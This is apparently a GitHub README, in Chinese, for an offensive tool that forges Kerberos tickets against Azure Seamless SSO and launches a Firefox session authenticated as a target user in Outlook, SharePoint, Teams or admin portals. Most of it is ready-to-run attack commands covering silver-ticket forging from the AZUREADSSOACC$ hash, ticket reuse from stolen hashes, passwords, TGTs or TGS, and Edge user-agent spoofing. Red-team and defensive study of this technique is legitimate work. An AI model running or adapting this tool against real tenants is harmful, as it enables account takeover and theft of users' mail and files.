dejisec/seamless-sso-browser
GitHub: dejisec/seamless-sso-browser
该工具利用 Kerberos 票据伪造技术实现 Azure Seamless SSO 认证,并自动启动已通过认证的 Firefox 浏览器以访问目标用户的 M365 应用会话。
Stars: 0 | Forks: 1
# seamless-sso-browser
为 Azure Seamless SSO 伪造 Kerberos 票据,并让你进入目标用户的浏览器会话。给它一个哈希、一个密码、一个 TGT —— 无论你有什么。它会处理好票据并启动已通过身份验证的 Firefox。
## 前置条件
- 带有 GSSAPI 库的 Linux(Kali 开箱即用)
- Firefox(`sudo apt install firefox-esr`)
- 目标租户上已启用 Seamless SSO
## 用法
直接运行:
```
uvx git+https://github.com/dejisec/seamless-sso-browser -h
```
或克隆并运行:
```
git clone https://github.com/dejisec/seamless-sso-browser.git
cd seamless-sso-browser
uv sync
uv run seamless-sso-browser -h
```
## 示例
### 你拥有 AZUREADSSOACC$ 哈希
经典的银票据(silver ticket)路径。无需联系 DC。
```
seamless-sso-browser \
--domain domain.local \
--user-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-1234 \
--user jsmith \
--adssoacc-ntlm
```
如果账户仅支持 AES,请使用 `--adssoacc-aes`。
### 你拥有用户的密码或哈希
与 DC 通信以获取 TGT,然后为两个 SSO SPN 请求服务票据。
```
seamless-sso-browser \
--domain domain.local \
--dc-ip 10.0.0.1 \
--user jsmith \
--password 'P@ssw0rd'
```
同样适用于 `--user-password-hash ` 或 `--user-aes-key `。
### 你拥有 TGT
可能来自 Rubeus,也可能是磁盘上的 ccache。将其传入,工具会向 DC 请求 SSO 服务票据。
```
seamless-sso-browser \
--domain domain.local \
--dc-ip 10.0.0.1 \
--tgt /path/to/tgt.ccache
```
接受 ccache、kirbi 或 base64。
### 你拥有 TGS
已经获取了服务票据?不需要 DC。
```
seamless-sso-browser \
--domain domain.local \
--tgs /path/to/tgs.kirbi
```
接受 ccache、kirbi 或 base64。
### 你拥有 ccache 文件
跳过所有步骤,只需指向它:
```
seamless-sso-browser \
--domain domain.local \
--ccache /path/to/combined.ccache
```
### 目标不是 Outlook
默认打开 Outlook。使用 `--target` 选择其他应用:
```
seamless-sso-browser \
--domain domain.local \
--ccache /path/to/combined.ccache \
--target sharepoint --tenant contoso
```
预设:`outlook`(默认)、`sharepoint`(需要 `--tenant`)、`teams`、`onedrive`、`admin`、`entra`、`azure`。
你也可以传入原始 URL:`--target https://custom-app.contoso.com`。
### User-agent
该工具默认总是伪装成 Windows 11 上的 Edge,如有需要,请使用 `--useragent "..."` 进行覆盖。
## 所有参数
### 身份验证(任选其一)
| 参数 | 描述 |
|------|------------|
| `--adssoacc-ntlm` | AZUREADSSOACC$ NTLM 哈希(银票据,无需 DC) |
| `--adssoacc-aes` | AZUREADSSOACC$ AES 密钥(银票据,无需 DC) |
| `--password` | 用户密码(需要 DC) |
| `--user-password-hash` | 用户 NTLM 哈希,`[LMHASH:]NTHASH`(需要 DC) |
| `--user-aes-key` | 用户 AES 密钥(需要 DC) |
| `--tgt` | 预先获取的 TGT,文件或 base64(需要 DC) |
| `--tgs` | 预先获取的 TGS,文件或 base64(无需 DC) |
| `--ccache` | 预先伪造的 ccache 文件(跳过所有步骤) |
### 身份与域
| 参数 | 描述 |
|------|------------|
| `--domain` | AD 域(始终必填) |
| `--user` | 目标 sAMAccountName |
| `--user-sid` | 完整的用户 SID(银票据伪造必填) |
| `--upn` | 仅用于显示的 UPN |
| `--dc-ip` | 域控地址 |
### 目标与浏览器
| 参数 | 描述 |
|------|------------|
| `--target` | 应用预设或 URL(默认:`outlook`) |
| `--tenant` | M365 租户名(用于 `--target sharepoint`) |
| `--useragent` | 自定义 user-agent(默认:Windows 11 上的 Edge) |
| `--firefox-path` | Firefox 二进制文件路径 |
| `--no-cleanup` | 退出后保留临时文件 |
| `--verbose` | 打印 ccache 路径、krb5.conf 和 Firefox 命令 |
## 故障排除
首先使用 `--verbose --no-cleanup` 运行。它会打印 ccache 路径、krb5.conf 内容以及确切的 Firefox 命令,以便你手动排查问题。
如果 SPNEGO 协商未进行,请设置这些变量并从同一 shell 重新启动 Firefox:
```
export NSPR_LOG_MODULES=negotiateauth:5
export NSPR_LOG_FILE=/tmp/firefox_spnego.log
export KRB5_TRACE=/dev/stderr
```
常见问题:时钟偏差超过 5 分钟、Firefox 未读取 ccache(检查 `KRB5CCNAME`),或者尽管票据有效,但 Conditional Access 阻止了会话。
## 致谢
灵感来自 Malcrove 的 [SeamlessPass](https://github.com/Malcrove/SeamlessPass),该项目作为 CLI 工具执行 Seamless SSO 流程并为你提供 OAuth token。本项目采用了相同的理念,但将其接入到了浏览器会话中,因此你可以直接进入 Outlook、SharePoint 或目标有权访问的任何其他应用。
标签:Azure AD, HTTP, Modbus, 会话劫持, 模拟器, 票据伪造, 逆向工具